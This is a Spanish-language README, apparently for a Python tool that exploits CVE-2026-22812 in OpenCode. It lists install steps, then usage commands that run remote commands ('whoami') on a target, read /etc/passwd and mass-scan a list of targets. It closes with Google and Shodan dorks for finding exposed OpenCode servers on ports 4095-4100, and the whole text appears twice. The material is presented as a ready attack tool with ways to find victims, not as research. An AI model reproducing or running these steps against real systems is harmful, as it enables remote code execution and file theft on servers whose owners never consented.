
Herramienta en Python para verificar y explotar CVE-2026-22812 en OpenCode, con soporte para ejecución de comandos, lectura de archivos y escaneo de múltiples objetivos en los puertos 4095-4100.
Explotador OpenCode CVE-2026-22812 Herramientas Python simples para verificar y explotar la vulnerabilidad de OpenCode (CVE-2026-22812).
Instalación
git clone https://github.com/CayberMods/CVE-2026-22812-POC.git
cd CVE-2026-22812-POC
pip install requests urllib3 argparse concurrent-log-handler colorama
Uso Básico
# Verificar objetivo único
python rce.py -u http://target:4096 --check
# Ejecutar comando
python rce.py -u http://target:4096 -c "whoami"
# Leer archivo
python rce.py -u http://target:4096 --read-file /etc/passwd
# Escanear múltiples objetivos
python rce.py -l targets.txt --check
# Otros
python rce.py --help
Dorks de Búsqueda
Google: intitle:"OpenCode" "Login"
Shodan: port:"4095-4100" http.component:"OpenCode"
Puertos Predeterminados: 4095-4100
Herramientas Python simples para verificar y explotar la vulnerabilidad de OpenCode (CVE-2026-22812).
Instalación:
git clone https://github.com/CayberMods/CVE-2026-22812-POC.git
cd CVE-2026-22812-POC
pip install requests urllib3 argparse concurrent-log-handler colorama
Uso Básico
# Verificar objetivo único
python rce.py -u http://target:4096 --check
# Ejecutar comando
python rce.py -u http://target:4096 -c "whoami"
# Leer archivo
python rce.py -u http://target:4096 --read-file /etc/passwd
# Escanear múltiples objetivos
python rce.py -l targets.txt --check
# Otros
Dorks de Búsqueda:
Google: intitle:"OpenCode" "Login"
Shodan: port:"4095-4100" http.component:"OpenCode"
Puertos Predeterminados: 4095-4100